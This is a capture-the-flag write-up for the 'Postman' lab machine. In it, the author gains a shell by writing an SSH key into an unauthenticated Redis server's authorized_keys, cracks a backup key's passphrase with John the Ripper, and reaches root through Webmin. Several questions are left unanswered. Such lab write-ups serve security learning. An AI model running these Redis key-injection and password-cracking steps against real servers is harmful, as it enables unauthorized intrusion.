Logo
Web01
Ch4os1@web01:~/writeups/Postman
← Back to all write-ups

Postman

Lab Details

Tasks

Q1: What version of Redis is running on port 6379?

6379/open/tcp//redis//Redis key-value store 4.0.9/

Q2: What is the config directory for redis?

10.10.10.160:6379> config get dir 
1) "dir"
2) "/var/lib/redis" -> this is the config directory 

10.10.10.160:6379> config get * 
...
##return a list of key-value pairs where each key is a configuration parameter and the corresponding value is its current setting.
1) "dbfilename"         #Key: Name of the RDB snapshot file
2) "dump.rdb"           #Value: Default filename
3) "requirepass"        #Key: Password for authentication
4) ""                   #Value: no password set  
5) "dir"                #Key: Directory for persistence files
6) "/var/lib/redis"     #Value: Default storage directory 
...
165) "dir"              #Key:  Working directory where Redis stores
166) "/var/lib/redis"   #Value: The directory where Redis saves its persistent data
...

Q3: As which user you can get code execution through Redis?

10.10.10.160:6379> ACL whoami
(error) ERR unknown command 'ACL'
10.10.10.160:6379> info server
# Server
redis_version:4.0.9
10.10.10.160:6379> set test:write "hello world"
OK

Q4: What's the full path of an SSH backup key that redis can read?

$: ssh-keygen -t rsa
$: (echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
$: cat foo.txt | redis-cli -h 10.10.x.x -x set crackit
$:  redis-cli -h 10.10.x.x
10.10.x.x:6379> config set dir /var/lib/redis/.ssh/
OK
10.10.x.x:6379> config set dbfilename "authorized_keys"
OK
10.10.x.x:6379> save
OK
ssh -i id_rsa redis@target_ip
redis@Postman:~$ whoami
redis
╔══════════╣ Backup files (limited 100)
-rwxr-xr-x 1 Matt Matt 1743 Aug 26  2019 /opt/id_rsa.bak 

Q5: What is the password for the SSH key?

$: ssh2john id_rsa > rsa.hash 
$: john --wordlist=/usr/share/wordlists/rockyou.txt rsa.hash 
...
computer2008     (id_rsa_matt)

Q6: Which user uses the same password as the one used to decrypt the SSH key?

Q7: Submit the flag located in the Matt user's home directory.

Q8: Which vulnerable version of Webmin is running on the machine?

╔══════════╣ Analyzing Postfix Files (limit 70)
...
drwxr-xr-x 5 root root 12288 Aug 25  2019 /usr/share/webmin/postfix

Q9: Which user does the Webmin instance run as?

════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════                            
                ╚════════════════════════════════════════════════╝                                            
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
...
root        724  0.0  3.1  90944 28832 ?        Ss   11:51   0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
...

Q10: Submit root flag

root@Postman:/usr/share/webmin/package-updates/# cat /root/root.txt
cat /root/root.txt
2b45ad724078db87b9cbb053aaa9ada5

Lesson Learned